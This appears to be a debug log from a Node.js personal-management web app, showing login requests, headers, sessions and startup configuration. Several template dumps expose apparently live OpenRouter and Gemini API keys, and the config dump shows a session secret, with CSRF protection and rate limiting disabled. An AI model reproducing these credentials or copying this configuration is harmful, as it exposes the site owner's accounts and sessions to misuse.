    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    priority: 'u=0, i',
    'sec-ch-ua': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': '"macOS"',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '35.209.179.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-05T05:45:32.755Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.209.179.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SEC_FETCH-DEST': '"macOS"',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '35.209.179.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-04T05:45:44.147Z server-connect:router Serving templateView /
2026-05-04T05:45:44.147Z server-connect:app Executing action step identify
2026-05-04T05:45:44.147Z server-connect:app options: { provider: 'security' }
2026-05-04T05:45:44.147Z server-connect:auth No login cookie found
2026-05-04T05:45:44.147Z server-connect:output identity: false
2026-05-04T05:45:44.147Z server-connect:app Executing action step restrict
2026-05-04T05:45:44.147Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-04T05:45:44.148Z server-connect:output restrict: undefined
2026-05-04T05:45:44.310Z server-connect:router Serving templateView /login
2026-05-04T05:45:44.311Z server-connect:app Executing action step identify
2026-05-04T05:45:44.311Z server-connect:app options: { provider: 'security' }
2026-05-04T05:45:44.311Z server-connect:auth No login cookie found
2026-05-04T05:45:44.311Z server-connect:output identity: false
2026-05-04T05:45:44.311Z server-connect:router Render template layouts/authentication
2026-05-04T05:45:44.311Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    priority: 'u=0, i',
    'sec-ch-ua': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': '"macOS"',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '35.209.179.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-05T05:45:44.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.209.179.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SEC_FETCH-DEST': '"macOS"',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '35.209.179.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-04T05:45:44.719Z server-connect:router Serving templateView /login/
2026-05-04T05:45:44.720Z server-connect:app Executing action step identify
2026-05-04T05:45:44.720Z server-connect:app options: { provider: 'security' }
2026-05-04T05:45:44.720Z server-connect:auth No login cookie found
2026-05-04T05:45:44.720Z server-connect:output identity: false
2026-05-04T05:45:44.720Z server-connect:router Render template layouts/authentication
2026-05-04T05:45:44.720Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    priority: 'u=0, i',
    'sec-ch-ua': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': '"macOS"',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '35.209.179.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-05T05:45:44.719Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.209.179.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SEC_FETCH-DEST': '"macOS"',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '35.209.179.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-04T06:18:24.073Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-04T06:18:24.244Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-04T06:18:24.335Z server-connect:setup:upload Upload middleware configured.
2026-05-04T06:18:24.335Z server-connect:secure CSRF Protection initialized
2026-05-04T06:18:24.337Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-04T06:18:24.338Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-04T06:18:24.339Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-04T06:18:24.339Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-04T06:18:24.340Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-04T06:18:24.340Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-04T06:18:24.341Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-04T06:18:24.341Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-04T06:18:24.344Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-04T06:18:24.344Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-04T06:18:24.345Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-04T06:18:24.345Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-04T06:18:24.345Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-04T06:18:24.346Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-04T06:18:24.346Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-04T06:18:24.346Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-04T06:18:24.346Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-04T06:18:24.347Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-04T06:18:24.347Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-04T06:18:24.347Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-04T06:18:24.348Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-04T06:18:24.348Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-04T06:18:24.348Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-04T06:18:24.348Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-04T06:18:24.349Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-04T06:18:24.349Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-04T06:18:24.349Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-04T06:18:24.349Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-04T06:18:24.349Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-04T06:18:24.350Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-04T06:18:24.350Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-04T06:18:24.350Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-04T06:18:24.350Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-04T06:18:24.350Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-04T06:18:24.351Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-04T06:18:24.351Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-04T06:18:24.351Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-04T06:18:24.351Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-04T06:18:24.442Z server-connect:router Serving templateView /
2026-05-04T06:18:24.444Z server-connect:app Executing action step identify
2026-05-04T06:18:24.444Z server-connect:app options: { provider: 'security' }
2026-05-04T06:18:24.446Z server-connect:auth No login cookie found
2026-05-04T06:18:24.446Z server-connect:output identity: false
2026-05-04T06:18:24.446Z server-connect:app Executing action step restrict
2026-05-04T06:18:24.446Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-04T06:18:24.450Z server-connect:output restrict: undefined
2026-05-04T06:18:24.598Z server-connect:router Serving templateView /login
2026-05-04T06:18:24.599Z server-connect:app Executing action step identify
2026-05-04T06:18:24.599Z server-connect:app options: { provider: 'security' }
2026-05-04T06:18:24.599Z server-connect:auth No login cookie found
2026-05-04T06:18:24.599Z server-connect:output identity: false
2026-05-04T06:18:24.599Z server-connect:router Render template layouts/authentication
2026-05-04T06:18:24.600Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    priority: 'u=0, i',
    'sec-ch-ua': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': '"macOS"',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '35.209.173.7',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-05T06:18:24.597Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.209.173.7',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SEC_FETCH-DEST': '"macOS"',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '35.209.173.7',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-04T06:18:24.907Z server-connect:router Serving templateView /login/
2026-05-04T06:18:24.907Z server-connect:app Executing action step identify
2026-05-04T06:18:24.907Z server-connect:app options: { provider: 'security' }
2026-05-04T06:18:24.907Z server-connect:auth No login cookie found
2026-05-04T06:18:24.907Z server-connect:output identity: false
2026-05-04T06:18:24.907Z server-connect:router Render template layouts/authentication
2026-05-04T06:18:24.908Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    priority: 'u=0, i',
    'sec-ch-ua': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': '"macOS"',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '35.209.173.7',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-05T06:18:24.906Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.209.173.7',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SEC_FETCH-DEST': '"macOS"',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '35.209.173.7',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-05T15:46:10.584Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
